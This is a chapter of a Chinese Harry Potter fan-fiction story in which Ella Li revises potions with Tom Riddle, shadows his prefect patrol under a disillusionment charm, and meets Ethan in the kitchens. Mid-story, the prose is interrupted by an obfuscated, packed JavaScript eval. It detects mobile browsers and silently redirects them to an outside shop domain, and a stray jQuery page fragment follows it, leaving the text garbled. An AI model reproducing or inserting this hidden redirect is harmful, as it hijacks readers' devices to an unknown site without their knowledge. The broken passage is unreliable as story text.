吃过晚饭之后我跟玛格丽特他们说要去图书馆复习,显而易见的,开学第一天他们还没有那么的想要内卷。括弧,除了梅根。我借口要去图书馆的时候明显看见她双眼放光地就想跟我一起去,然后被秒懂了的玛格丽特和罗斯一起一人架着一边胳膊拉走了。

    临走前我顶着玛格丽特那令人胆寒的笑容。不敢想她到底脑补了什么。

    话虽如此,我的目的地并不是图书馆,而是传说中的有求必应屋。

    有求必应屋在八楼。我爬楼梯爬的气喘吁吁,发誓等我有时间有精力了一定要研究一个能够代步的便捷方式,哪怕是安装个大弹簧把我从一楼发射上去也行……呃好吧,这还是算了,有点奇怪。感觉我要是真这么做了会以一种我不愿回忆的方式在霍格沃茨名流千古……

    不过,虽然我一直都知道这个地方,但却是三年级时里德尔告诉我这个地方的,还非常贴心地向我演示了一番怎么进去,后来我们就把这里定为了复习场所。里德尔告诉我时,我只能一面假装我从来都不知道这个地方,一面暗自忖度不会里德尔现在就发现了拉文克劳的冠冕吧……

    我到的时候,里德尔已经站在那里了,他靠着墙,捧着本书看,似乎是在等我。

    “来了?”他淡淡地把书收起来,墙壁上火炬跳动的亮光映在他的脸上,阴影使他的脸看起来更为立体,整个光影和氛围感都恰到好处,可以说是能出神图了,看得我真是牙痒痒,○的,没事长这么好看干什么。

    我恶狠狠地瞪了他一眼。

    当然,瞪的是他的背影。艾拉,你好窝囊啊……

    来回走了三次之后,墙壁上浮现出了木门。推开之后是一个非常舒适的起居室,整体的基调都是温暖的,看起来很适合睡上一觉而不是复习可恶的猫头鹰考试……两张扶手椅相对着,中间隔着一张圆桌,桌上摆着羊皮纸和羽毛笔,甚至还有一壶茶。靠墙的书架上摆满了各种书(甚至还有几本我想看的爱情小说)。这个房间的体贴程度每次都让我由衷钦佩制作这间房间的人,当然要是这个功能能搬到我寝室就好了。

    我把自己扔到其中一张扶手椅上,陷进柔软的靠垫里,上了一天课的疲惫感得到了很好的放松,整个人就这样歪七扭八地窝在里头。对面的里德尔与我相比像是来拍时尚大片的,我瞟了眼他的仪态,于是下意识地坐正了些。

    惯例是先进行处理作业的事宜然后再是复习或预习。感谢比尔利教授的心慈手软,至少很快就能水完这份作业。

    “今天要复习什么?”里德尔问。

    “魔药学。”我毫不客气地说,“我要在O.W.Ls之前把你脑子里的知识全部掏空。”

    里德尔的嘴角扯了扯,不知道是觉得好笑还是觉得我不自量力,他翻开那本高级魔药学和自己的笔记。

    “其实以你的水平通过O.W.Ls并不难,”里德尔说,“甚至如果你愿意提前预习魔药课提高班的内容——比如迷情剂——也不是不可以。”某种促狭的光彩从他眼里一闪而过。

    我眯着眼睛盯着他。这家伙绝对是故意的吧?“好啊。”我面不改色地回答,“那你最好能把它讲的比小说更精彩一些。”

    “恐怕我对爱情的了解远不如你的那位麻瓜富商先生。”里德尔谦虚地说。脸上带着非常真诚的遗憾。可恶。他怎么知道我最近在看什么书的。

    我真想把魔药学课本砸他脸上。

    我们的复习从解毒剂开始,里德尔的魔药学学得很好,加上他这张梅林赏软饭吃的脸和得天独厚的口才,斯拉格霍恩教授格外宠爱他,并且其实这家伙还挺适合讲课的(这一点在我面对日记本版本的里德尔时就有所体会了),有那么几个瞬间我几乎都忘记了他是个学生(且黑魔王幼年体),只觉得这是个一对一私人家教。好吧这也是为什么我一直拖着他复习的原因。

    但正因为他讲的太好了,声音又很好听(我不情不愿地承认),我反而越听越困,暖融融的房间和柔软的靠背的双重夹击正在让我的意识陷入黑暗。

    巴拉巴拉,“……戈巴洛克第三定律……”巴拉巴拉。

    复习了一个多小时我已经开始有点左耳朵进右耳朵出了。

    “……感谢你,里德尔教授。”我麻木地说,然后修改我的笔记。

    “不客气。李部长。”

    我差点把羊皮纸戳了个洞。这家伙居然还记得这回事,甚至拿来回敬我,心眼真是比针尖还小。我抬头瞪他,他正低头翻着书页,嘴角挂着若有若无的弧度,火光在他侧脸投下温暖的阴影,看起来格外人模狗样,完全看不出来刚刚还在拿我开涮。

    我决定收回“里德尔适合做教授”这个评价,这种心眼的家伙做教授,恐怕每个人都要喜提扣分了。

    ……可恶。多看一秒都是对我心理健康的极度不负责任。我盯着自己的笔记想。而且我总感觉现在的氛围很……呃,想不出来,但总之不是正常的复习氛围,可恶啊,正常的复习不应该是两个人都痛苦地对着课本发呆然后互相哀嚎吗?为什么这家伙看起来这么游刃有余搞得好像在给我上课一样?虽然我是要榨取他的知识没错。

    在这之后我们又各自预习了一会儿古代如尼文,我看似撑着脸在查阅古代如尼文翻译表,实际上已经困得眼皮子打架了,但里德尔依然正襟危坐,认真地写着什么。我迷迷糊糊地思考,这家伙到底什么时候才会累,难道他偷偷给自己喝了精力充沛药剂吗?还是说只有这种精力充沛的家伙才能做黑魔王?

    复习持续到将近宵禁的时间,我记了满满几页的笔记,感觉各种知识在我的脑子里上蹿下跳着,我甚至都有点不敢晃动我的脑袋,总觉得稍微一晃知识就流出去了。

    “差不多了。”里德尔站起身来,“该回去了。”

    我也跟着站起来,伸了个懒腰,关节发出咔咔声。又要爬该死的楼梯回到该死的塔楼了。

    “我送你。”里德尔格外有着绅士精神。

    这话他说的理直气壮,我也没客气。毕竟马上就是宵禁了,要是自己回去撞上普里特先生把我抓去扣分关禁闭该怎么办,有个级长做挡箭牌不要白不要。

    走廊里静悄悄的,只有远处隐约传来的皮皮鬼的声音,跟催命符一样。我和里德尔并肩而行,脚步声在空旷的环境里有浅浅的回音。里德尔的步伐要快一些,但他刻意放慢了,配合着我的速度。

    这种并肩而行的沉默让我有点不自在,在安静的氛围下很容易开始让我的脑子东想西想。

    “你还记得我们第一次来有求必应室吗?”里德尔忽然开口问。

    我愣了一下,然后想起来三年级时里德尔带我过来,说让我想一个房间走三次,我一边走一边默念想要一个舒适的房间。

    “然后门后面是赫奇帕奇的公共休息室。”里德尔睨了我一眼。

    他压根不知道艾拉在赫奇帕奇有什么朋友,也不知道她居然去过那里,甚至心里想的都是他们的公共休息室。

    ……我总不能说在我心里赫奇帕奇的公共休息室最舒服最合我心意吧。

    “那你是怎么发现那里的。”我战略性转移话题。

    里德尔沉默一瞬。我几乎能感到他脑子里正在飞速运转编织一个合理的答案——“听高年级学生说的”或者“在某本记录霍格沃茨的书里发现的”之类的说辞。我已经准备好相信了,毕竟我也没办法告诉他为什么我去过赫奇帕奇的公共休息室。

    “我偶然发现的。”他说,神色淡淡,“霍格沃茨有很多这样的秘密,只要你愿意去找。”

    “好吧,汤姆·探险家·里德尔。”我说。

    他发出一声短促的轻笑,我忍不住侧头看他一眼,笑点怎么这么低?但那点浅浅的真情实感的笑意落在他这张脸上显得整张脸更加漂亮了。

    我心口一跳,赶紧把视线移开了。

    ……你完蛋了艾拉·李,你对一个未来的大魔头感觉到心跳加速了,你真是无可救药了。我在心里对自己进行了严厉的批评教育,感觉到过于高涨的激素渐渐平息下来才停止。

    但不知道为什么,汤姆·里德尔这个冷心冷情的全O生今晚格外的感性,我都怀疑他是不是来大姨夫了,他甚至开始和我追忆孤儿院生活了。

    “还记得科尔夫人的壁炉吗?”他的声音在安静的走廊里听起来比平时低一些,“冬天我们总坐在最远的那张桌子旁边。”

    “因为那里虽然离火远但好歹还有点余温。”我说,“而且玛莎不会注意到我们在那儿偷看从教堂拿来的旧书。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804570|208367||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “你那时候已经教了我几个小魔咒。”里德尔说,“虽然你总是抱怨说‘为什么你学得比我快’。”

    “我是出自真心的。”我怀念地说。虽然那怀念只持续了几秒就被警觉心给掐灭了。等等,我怎么会因为这一点微不足道的共同回忆就心怀温暖?这难道是邪恶的黑魔王幼年体正在对我打感情牌?

    但里德尔没有继续这个话题,他忽然停了下来,我差点撞到他背上。面前的鹰状门环正安静地合着,月光从高处的窗户倾泻下来,在他肩上落了一层淡淡的银灰色。

    “到了。”他说。

    我张了张嘴想说点什么客套话,但喉咙里莫名堵着什么。里德尔站在月光和阴影交界的地方,侧脸的线条被柔和的光线切得很明晰,光与暗都在他身上共存,就好像他站在善与恶的中界线,但我无从得知他究竟会往哪里迈出下一步。

    在这一刻我忽然感觉他离我实在很远。尽管我们站在一起,却很难说两颗心是彼此接近的。他究竟在想什么?他又想要什么?我无从得知这一切。

    “那我就先回去了。”我说,干巴巴的,“明天见。”

    “晚安,艾拉。”他说。

    我目送着他离去的背影,鹰环在我边上问了我一个似乎有关感情的哲学问题,但我的脑子乱糟糟的,压根不知道该怎么回答。

    我记得斯莱特林是和拉文克劳一起夜巡的,玛格丽特有和我提到过他们的夜巡路线。

    我想……“幻身咒。”冰凉的触感覆盖住我,我的身影变得透明。有一种莫名其妙的不安与冲动促使我跟上去瞧瞧。尽管这会霸占我的睡眠时间,不过也还好,偶尔熬一次夜对我来说也不算什么。(绝不是因为我经常熬夜看小说)

    我不远不近地缀在斯莱特林男级长的后头,监督他夜巡,这条自由自在的小毒蛇看起来非常的爱岗敬业,一路上抓住两个夜游的格兰芬多和一个吃夜宵的赫奇帕奇,顺带给两个学院扣了分,感谢不爱夜游的拉文克劳,希望我别被他发现了,虽然、按照情理来说、里德尔应该会看在我们青梅竹马的面子上不给我扣分的吧?

    他巡逻完自己的路线,终点刚好是斯莱特林的地窖,我在拐角处探头探脑地看他说了口令进去,临走前似乎还往我这儿看了眼?但我确信我的幻身咒毫无破绽,可恶,也不要小瞧一个卷王啊!

    我很有耐心地等了会,他没有出来,看来开学第一天里德尔并不准备一上来就送我一个密室蛇怪的大礼包。

    ……这么一看我完全亏了啊!牺牲了睡眠时间在城堡里来了个遛蛇活动。一想到斯莱特林地窖和拉文克劳塔楼的距离,我就有点没动力。

    算了,来都来了,我决定去厨房蹭个宵夜。

    熟门熟路地挠了挠画像上的梨,走进去的同时我也解除了身上的幻身咒,毕竟一直维持也挺累的。

    “可可,我想要一份淋上一点点蜂蜜的松饼还有一份巧克力牛奶。”我一进来就对着熟悉的家养小精灵吩咐道。

    “好的!可可这就去给李小姐她想要的食物!”

    “……艾拉?”一同响起的是熟悉的声音。

    拉文克劳的男级长巡逻巡到一半浑水摸鱼来厨房吃宵夜被我撞见了。

    伊森和我面面相觑,我们都不知道谁该先开口,毕竟一个没巡逻完就来摸鱼了,一个则不好好睡觉冒着被扣分的风险来夜游。最终我们对视一眼,决定就当这一切没有发生过。

    “……玛吉呢?她不跟你一起吗?”我坐在边上,假装我们这是非常正常的碰见了一样开口询问。

    伊森戳了戳盘子里的牛排:“呃,她应该已经巡逻完了吧——其实我也是巡逻完才过来的。”被抓住把柄的男级长为自己争辩。尽管我压根没问他。

    “但你怎么会在这里。”男级长终于想起自己的职责,“现在已经是宵禁时间了。”

    “难道你要给我扣分吗?亲爱的温斯洛级长?”我佯装惊讶地说。对面的级长先生气焰一下子降了下来。

    “好吧,等你吃完我送你回去,免得你被普里特先生抓去擦奖杯。”级长大发慈悲。

    我决定不揭露他还去了趟禁林的事——他的袍角还沾着雨水和一点草屑呢。

    两个不法分子于是结伴回到了拉文克劳塔楼。